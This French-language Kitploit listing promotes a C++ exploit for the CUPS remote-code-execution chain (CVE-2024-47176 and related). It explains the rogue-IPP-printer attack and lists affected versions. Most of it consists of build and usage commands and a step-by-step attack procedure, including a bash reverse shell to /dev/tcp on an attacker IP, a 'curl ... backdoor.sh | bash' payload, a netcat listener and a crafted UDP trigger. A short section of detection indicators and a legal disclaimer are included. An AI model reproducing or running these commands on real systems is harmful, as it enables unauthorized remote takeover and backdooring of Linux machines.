Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Cups-RCE-Exploit — Exploit C++ pour exécution de code à distance non authentifiée sur CUPS via la chaîne CVE-2024-47176. | Kitploit
Outils/GitHubGitHub/stickxx00/cups-rce-exploit
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubstickxx00/cups-rce-exploit

Cups-RCE-Exploit

Exploit C++ pour exécution de code à distance non authentifiée sur CUPS via la chaîne CVE-2024-47176.

Voir le dépôt
2il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit RCE CUPS - Chaîne CVE-2024-47176

Ce que c'est

Un exploit proof-of-concept entièrement fonctionnel ciblant la chaîne de vulnérabilités d'exécution de code à distance du CUPS (Common Unix Printing System) découverte en septembre 2024. Cette chaîne se compose de quatre CVE — CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 et CVE-2024-47177 — qui ensemble permettent à un attaquant distant non authentifié d'exécuter des commandes arbitraires sur tout système Linux exécutant une version vulnérable de CUPS.

Comment ça fonctionne

L'exploit déploie un serveur IPP (Internet Printing Protocol) rogue qui imite une imprimante réseau. L'attaque se déroule en quatre étapes :

Étape 1 — Déclenchement de la découverte Un paquet UDP fabriqué est envoyé sur le port 631 de la cible. Le démon cups-browsed fait confiance à ce paquet sans authentification et initie une connexion TCP vers le serveur IPP de l'attaquant pour récupérer les attributs de l'imprimante.

Étape 2 — Livraison d'un PPD malveillant Le serveur IPP de l'attaquant répond avec des attributs d'imprimante contenant des données non nettoyées. Ces données transitent par libcupsfilters et libppd qui ne parviennent pas à valider ou nettoyer l'entrée, permettant à une directive malveillante FoomaticRIPCommandLine d'être intégrée dans un fichier PPD.

Étape 3 — Injection de commande Lorsqu'un travail d'impression est envoyé à l'imprimante contrôlée par l'attaquant (automatiquement ou par une action utilisateur), le filtre foomatic-rip traite le fichier PPD et exécute la commande injectée avec les privilèges de l'utilisateur lp.

Étape 4 — Exécution de la charge utile La commande injectée s'exécute sur le système cible. Les charges utiles courantes incluent des shells inversés, l'installation de backdoors, l'exfiltration de données ou la préparation d'escalade de privilèges.

Versions affectées

cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1

La plupart des distributions Linux étaient livrées avec des versions affectées jusqu'aux correctifs de fin 2024.

Prérequis

  • Une machine Linux avec g++ et les outils de développement standard
  • Accès réseau à la cible (le port UDP 631 doit être joignable)
  • La cible doit exécuter cups-browsed en écoute sur UDP 631
  • Root ou sudo est recommandé pour se lier au port 631 (ou utiliser un port élevé comme 1631)

Compilation

root@kitploit:~
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Aucune dépendance externe. Se compile sur toute distribution Linux avec g++.

Utilisation

root@kitploit:~
./cups_rce_exploit -l <ATTACKER_IP> -r <COMMAND> [options]

Options

  • -l, --listener Adresse IP de l'attaquant pour le serveur IPP rogue
  • -r, --reverse Commande à exécuter sur la cible, ou chemin vers un fichier de script
  • -t, --target IP de la machine cible (envoie le paquet UDP déclencheur automatiquement)
  • -p, --port Port pour le serveur IPP rogue (défaut : 631)
  • -s, --spoof Nom d'usurpation de l'imprimante (défaut : VulnPrinter)
  • -T, --target-port Port UDP cible (défaut : 631)
  • -h, --help Afficher le message d'aide

Exemple de shell inversé

Terminal 1 — démarrer l'écouteur :

root@kitploit:~
nc -lvnp 4444

Terminal 2 — lancer l'exploit :

root@kitploit:~
./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Charge utile depuis un fichier

root@kitploit:~
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh
./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100

Mode serveur avec déclenchement manuel

Terminal 1 — démarrer le serveur :

root@kitploit:~
./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"

Terminal 2 — envoyer le déclencheur UDP à la cible :

root@kitploit:~
echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631

Utilisation d'un port non privilégié

root@kitploit:~
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631

Procédure d'attaque complète

Étape 1 : Configurez un écouteur netcat sur votre machine attaquante

root@kitploit:~
nc -lvnp 4444

Étape 2 : Compilez l'exploit

root@kitploit:~
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Étape 3 : Lancez l'exploit contre la cible

root@kitploit:~
./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Étape 4 : Si un utilisateur sur la machine cible imprime une page de test ou un document sur l'imprimante rogue, vous recevrez un shell inversé sous l'utilisateur lp.

Indicateurs de détection

  • Paquets UDP inattendus sur le port 631 contenant des chaînes URI IPP
  • Connexions TCP sortantes de cups-browsed vers des hôtes inconnus sur le port 631
  • Imprimantes inconnues apparaissant automatiquement dans l'interface web CUPS
  • Processus générés par foomatic-rip ou sous l'utilisateur lp

Avertissement légal

AVIS JURIDIQUE

Ce logiciel est fourni à des fins éducatives et de recherche uniquement. Il est destiné à aider les professionnels de la sécurité, les testeurs d'intrusion et les administrateurs système à comprendre, détecter et se défendre contre les vulnérabilités décrites.

L'utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite pour tester est illégale et peut violer le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act et des lois similaires dans d'autres juridictions.

Les cas d'utilisation autorisés incluent les évaluations de sécurité sur les systèmes que vous possédez, les tests d'intrusion avec autorisation écrite, les programmes de bug bounty avec un périmètre explicite, la recherche académique dans des environnements de laboratoire contrôlés et les compétitions CTF.

L'auteur décline toute responsabilité pour toute utilisation abusive ou tout dommage causé par ce logiciel. Les utilisateurs sont seuls responsables du respect de toutes les lois applicables et de l'obtention d'une autorisation appropriée avant de tester.

En utilisant ce logiciel, vous acceptez ces conditions.

Références

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org

Télécharger l’outil